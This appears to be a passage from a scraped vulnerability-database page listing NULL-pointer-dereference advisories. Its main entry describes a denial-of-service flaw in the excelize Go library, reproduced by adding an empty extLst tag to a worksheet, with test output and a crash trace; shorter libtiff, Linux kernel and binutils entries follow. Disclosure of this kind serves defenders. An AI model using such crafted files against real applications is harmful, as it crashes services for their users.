../CVE-Hunt-10k/repos/qax-os__excelize directive (no copy-pasted/reimplemented function -- the actual library code, used through its real public API from a separate consumer program, simulating "any application that opens an untrusted .xlsx"). This program performs the identical craft-and-open sequence but calls GetSlicers with NO recover() at all. Built with go build -o repro.exe . (succeeded) and ran ./repro.exe directly, observing an unhandled process crash.

Evidence: SOURCE VERIFICATION (current HEAD, read directly): slicer.go:816-820 is exactly as claimed -- if ws.ExtLst == nil { return slicers, err } followed immediately by target := f.getSheetRelationshipsTargetByID(sheet, ws.Drawing.RID) with no nil check on ws.Drawing. xmlWorksheet.go:54 Drawing *xlsxDrawingxml:"drawing"and xmlWorksheet.go:64 `ExtLst *xlsxExtLst `xml:"extLst" are both independently-optional pointer fields on xlsxWorksheet, populated only when their respective XML tag is present in the worksheet part -- confirming Drawing and ExtLst are unrelated/independent. getSheetRelationshipsTargetByID(sheet, rID string) string (sheet.go:721) takes a plain string, so ws.Drawing.RID is evaluated (dereferencing the nil pointer) at the call site itself.

RUN 1 -- existing repo test, go test -run TestGetSlicersNilDrawingPanic -v .: === RUN TestGetSlicersNilDrawingPanic slicer_extlst_poc_test.go:38: original sheet1.xml: ...... (no drawing, no extLst) slicer_extlst_poc_test.go:48: tampered sheet1.xml: ... slicer_extlst_poc_test.go:59: CONFIRMED: GetSlicers panicked on nil ws.Drawing dereference: runtime error: invalid memory address or nil pointer dereference --- PASS: TestGetSlicersNilDrawingPanic (0.01s) PASS ok github.com/xuri/excelize/v2 0.100s

RUN 2 -- my own independent standalone consumer program (real unmodified library via go.mod replace, NO recover installed), ./repro.exe: [] Saved benign workbook: 6052 bytes [] Original sheet1.xml: ...... [] Tampered sheet1.xml (attacker payload -- bare empty , still no ): ... [] Crafted malicious .xlsx: 6059 bytes [*] Crafted workbook accepted by OpenReader. Calling the public GetSlicers("Sheet1") API now, no recover() installed... panic: runtime error: invalid memory address or nil pointer dereference [signal 0xc0000005 code=0x0 addr=0x20 pc=0x7ff7fc8456b8]

goroutine 1 [running]: github.com/xuri/excelize/v2.(*File).GetSlicers(0x27fa8874908, {0x7ff7fc8a5e8a, 0x6}) C:/.../qax-os__excelize/slicer.go:820 +0x98 main.main() C:/.../excelize-nilptr-repro/main.go:122 +0x67f EXIT CODE: 2

The stack trace pinpoints slicer.go:820 exactly (the ws.Drawing.RID dereference), from an ordinary external caller with no recover(), on a workbook whose only "malicious" content is one empty <extLst></extLst> tag and zero drawing/slicer content -- confirming the claim end-to-end: nil-pointer dereference, unrecovered panic, DoS, matching CWE-476.

Severity

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/xuri/excelize/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.9.0"
            },
            {
              "fixed": "2.11.1-0.20260929015830-8ffeb07ec9a3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-107213"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-08T16:50:08Z",
    "nvd_published_at": "2026-10-07T18:17:18Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nGetSlicers guards only `if ws.ExtLst == nil { return }` (slicer.go:816-818) and then immediately dereferences `ws.Drawing.RID` with no nil check on ws.Drawing itself. `Drawing` and `ExtLst` are two independently optional child elements of \u003cworksheet\u003e in xl/worksheets/sheetN.xml, populated separately by encoding/xml depending on whether each tag is present. I executed a PoC: took a plain NewFile() workbook (no drawing, no slicer), saved it, then injected a bare `\u003cextLst\u003e\u003c/extLst\u003e` immediately before `\u003c/worksheet\u003e` in xl/worksheets/sheet1.xml (no other change, no drawing element present) and called GetSlicers. Result: `runtime error: invalid memory address or nil pointer dereference`, confirmed at the ws.Drawing.RID line via stack trace.\n\n### Reachability / who can trigger this\n\nUnauthenticated: any application that opens an untrusted .xlsx and calls the public `File.GetSlicers(sheet)` API. The trigger is a single empty XML tag with no valid slicer or drawing content required at all, making it an even smaller/simpler payload than candidate 1.\n\n### Proof of Concept / Reproduction\n\n**Method:**\n1) Reused the existing clone at C:\\Users\\vatsa\\AppData\\Local\\Temp\\claude\\D--\\59901fa2-b549-40e1-a433-30c8a3d01718\\scratchpad\\CVE-Hunt-10k\\repos\\qax-os__excelize (origin=https://github.com/qax-os/excelize.git, branch master up to date, commit e81f05008b33232151a58f06474fad5f70c4d060 dated 2026-09-27, `git describe`=v2.11.0-42-ge81f050, i.e. 42 commits past the v2.11.0 tag). 2) Manually re-read the cited source myself (not trusting the claim): slicer.go:805-820 (GetSlicers) and xmlWorksheet.go:21-72 (xlsxWorksheet struct + xlsxDrawing struct) -- confirmed verbatim, matches claim exactly. 3) Confirmed local toolchain: go version go1.27.0 windows/amd64 (/c/Program Files/Go/bin/go). 4) Built the whole package with `go build ./...` from the repo root -- succeeded with zero errors, proving the current checkout compiles cleanly. 5) Ran the pre-existing PoC test file already present in this checkout (slicer_extlst_poc_test.go, TestGetSlicersNilDrawingPanic) via `go test -run TestGetSlicersNilDrawingPanic -v .`: it builds a benign excelize.NewFile() workbook, saves it, reopens it, loads the raw zip entry xl/worksheets/sheet1.xml, string-replaces `\u003c/worksheet\u003e` with `\u003cextLst\u003e\u003c/extLst\u003e\u003c/worksheet\u003e` (adds nothing else, no \u003cdrawing\u003e anywhere), rebuilds the zip byte-for-byte otherwise unchanged (rezipReplacing helper, plain archive/zip re-encode), reopens the crafted file with excelize.OpenReader, and calls the public GetSlicers(\"Sheet1\") API inside a recover(). 6) For a fully independent, non-test-harness reproduction, I additionally wrote and built my own separate standalone Go module+program from scratch (excelize-nilptr-repro/{go.mod,main.go} in my scratchpad dir) that imports the real, unmodified excelize package as an external library dependency via a `replace github.com/xuri/excelize/v2 =\u003e ../CVE-Hunt-10k/repos/qax-os__excelize` directive (no copy-pasted/reimplemented function -- the actual library code, used through its real public API from a separate consumer program, simulating \"any application that opens an untrusted .xlsx\"). This program performs the identical craft-and-open sequence but calls GetSlicers with NO recover() at all. Built with `go build -o repro.exe .` (succeeded) and ran `./repro.exe` directly, observing an unhandled process crash.\n\n**Evidence:**\nSOURCE VERIFICATION (current HEAD, read directly): slicer.go:816-820 is exactly as claimed -- `if ws.ExtLst == nil { return slicers, err }` followed immediately by `target := f.getSheetRelationshipsTargetByID(sheet, ws.Drawing.RID)` with no nil check on ws.Drawing. xmlWorksheet.go:54 `Drawing *xlsxDrawing `xml:\"drawing\"`` and xmlWorksheet.go:64 `ExtLst *xlsxExtLst `xml:\"extLst\"`` are both independently-optional pointer fields on xlsxWorksheet, populated only when their respective XML tag is present in the worksheet part -- confirming Drawing and ExtLst are unrelated/independent. getSheetRelationshipsTargetByID(sheet, rID string) string (sheet.go:721) takes a plain string, so `ws.Drawing.RID` is evaluated (dereferencing the nil pointer) at the call site itself.\n\nRUN 1 -- existing repo test, `go test -run TestGetSlicersNilDrawingPanic -v .`:\n=== RUN   TestGetSlicersNilDrawingPanic\n    slicer_extlst_poc_test.go:38: original sheet1.xml: ...\u003csheetData\u003e...\u003c/sheetData\u003e\u003c/worksheet\u003e   (no drawing, no extLst)\n    slicer_extlst_poc_test.go:48: tampered sheet1.xml: ...\u003c/sheetData\u003e\u003cextLst\u003e\u003c/extLst\u003e\u003c/worksheet\u003e\n    slicer_extlst_poc_test.go:59: CONFIRMED: GetSlicers panicked on nil ws.Drawing dereference: runtime error: invalid memory address or nil pointer dereference\n--- PASS: TestGetSlicersNilDrawingPanic (0.01s)\nPASS\nok  \tgithub.com/xuri/excelize/v2\t0.100s\n\nRUN 2 -- my own independent standalone consumer program (real unmodified library via go.mod replace, NO recover installed), `./repro.exe`:\n[*] Saved benign workbook: 6052 bytes\n[*] Original sheet1.xml: ...\u003csheetData\u003e...\u003c/sheetData\u003e\u003c/worksheet\u003e\n[*] Tampered sheet1.xml (attacker payload -- bare empty \u003cextLst\u003e, still no \u003cdrawing\u003e): ...\u003cextLst\u003e\u003c/extLst\u003e\u003c/worksheet\u003e\n[*] Crafted malicious .xlsx: 6059 bytes\n[*] Crafted workbook accepted by OpenReader. Calling the public GetSlicers(\"Sheet1\") API now, no recover() installed...\npanic: runtime error: invalid memory address or nil pointer dereference\n[signal 0xc0000005 code=0x0 addr=0x20 pc=0x7ff7fc8456b8]\n\ngoroutine 1 [running]:\ngithub.com/xuri/excelize/v2.(*File).GetSlicers(0x27fa8874908, {0x7ff7fc8a5e8a, 0x6})\n\tC:/.../qax-os__excelize/slicer.go:820 +0x98\nmain.main()\n\tC:/.../excelize-nilptr-repro/main.go:122 +0x67f\nEXIT CODE: 2\n\nThe stack trace pinpoints slicer.go:820 exactly (the ws.Drawing.RID dereference), from an ordinary external caller with no recover(), on a workbook whose only \"malicious\" content is one empty `\u003cextLst\u003e\u003c/extLst\u003e` tag and zero drawing/slicer content -- confirming the claim end-to-end: nil-pointer dereference, unrecovered panic, DoS, matching CWE-476.",
  "id": "GHSA-r7x5-4969-99p7",
  "modified": "2026-10-08T16:50:08Z",
  "published": "2026-10-08T16:50:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/qax-os/excelize/security/advisories/GHSA-r7x5-4969-99p7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-107213"
    },
    {
      "type": "WEB",
      "url": "https://github.com/qax-os/excelize/pull/2434"
    },
    {
      "type": "WEB",
      "url": "https://github.com/qax-os/excelize/commit/8ffeb07ec9a350410f6922313f6b7e4f5cc79241"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/qax-os/excelize"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Excelize: Nil-pointer dereference in GetSlicers when a worksheet has extLst present but no drawing element"
}

GHSA-R7X8-HV2Q-V9R7

Vulnerability from github – Published: 2024-08-12 15:30 – Updated: 2025-11-03 21:31

Details

A null pointer dereference flaw was found in Libtiff via tif_dirinfo.c. This issue may allow an attacker to trigger memory allocation failures through certain means, such as restricting the heap space size or injecting faults, causing a segmentation fault. This can cause an application crash, eventually leading to a denial of service.

Severity

6.2 (Medium)


                  
                    CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2024-7006"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476",
      "CWE-754"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-08-12T13:38:40Z",
    "severity": "MODERATE"
  },
  "details": "A null pointer dereference flaw was found in Libtiff via `tif_dirinfo.c`. This issue may allow an attacker to trigger memory allocation failures through certain means, such as restricting the heap space size or injecting faults, causing a segmentation fault. This can cause an application crash, eventually leading to a denial of service.",
  "id": "GHSA-r7x8-hv2q-v9r7",
  "modified": "2025-11-03T21:31:11Z",
  "published": "2024-08-12T15:30:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7006"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:6360"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:8833"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:8914"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2024-7006"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2302996"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00019.html"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20240920-0001"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-R839-RGCG-37RJ

Vulnerability from github – Published: 2022-12-14 21:30 – Updated: 2022-12-17 00:30

Details

An issue was discovered in the Linux kernel through 5.16-rc6. netvsc_get_ethtool_stats in drivers/net/hyperv/netvsc_drv.c lacks check of the return value of kvmalloc_array() and will cause the null pointer dereference.

Severity

5.5 (Medium)


                  
                    CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2022-3107"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-12-14T21:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An issue was discovered in the Linux kernel through 5.16-rc6. netvsc_get_ethtool_stats in drivers/net/hyperv/netvsc_drv.c lacks check of the return value of kvmalloc_array() and will cause the null pointer dereference.",
  "id": "GHSA-r839-rgcg-37rj",
  "modified": "2022-12-17T00:30:21Z",
  "published": "2022-12-14T21:30:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3107"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2153060"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?h=v5.19-rc2\u0026id=886e44c9298a6b428ae046e2fa092ca52e822e6a"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-R84J-QC9R-QRGH

Vulnerability from github – Published: 2022-05-17 00:53 – Updated: 2022-05-17 00:53

Details

The Binary File Descriptor (BFD) library (aka libbfd), as distributed in GNU Binutils 2.28, is vulnerable to an invalid read of size 8 because of missing a check to determine whether symbols are NULL in the _bfd_dwarf2_find_nearest_line function. This vulnerability causes programs that conduct an analysis of binary programs using the libbfd library, such as objdump, to crash.

Severity

7.5 (High)


                  
                    CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2017-8392"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-05-01T18:59:00Z",
    "severity": "HIGH"
  },
  "details": "The Binary File Descriptor (BFD) library (aka libbfd), as distributed in GNU Binutils 2.28, is vulnerable to an invalid read of size 8 because of missing a check to determine whether symbols are NULL in the _bfd_dwarf2_find_nearest_line function. This vulnerability causes programs that conduct an analysis of binary programs using the libbfd library, such as objdump, to crash.",
  "id": "GHSA-r84j-qc9r-qrgh",
  "modified": "2022-05-17T00:53:08Z",
  "published": "2022-05-17T00:53:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-8392"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/201709-02"
    },
    {
      "type": "WEB",
      "url": "https://sourceware.org/bugzilla/show_bug.cgi?id=21409"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

CWE-476

NULL Pointer Dereference

GHSA-R7HC-3QCJ-83XR

GHSA-R7P6-CFF4-G6Q4

GHSA-R7RC-F8XH-W76M

GHSA-R7W7-MMXR-47R9

Summary

Details

PoC

Credit

GHSA-R7W9-77P6-9Q6M

GHSA-R7X2-WQ2H-F7X7

GHSA-R7X5-4969-99P7

Summary

Reachability / who can trigger this

Proof of Concept / Reproduction

GHSA-R7X8-HV2Q-V9R7

GHSA-R839-RGCG-37RJ

GHSA-R84J-QC9R-QRGH

Mitigation MIT-56

Mitigation

Mitigation

Mitigation

Mitigation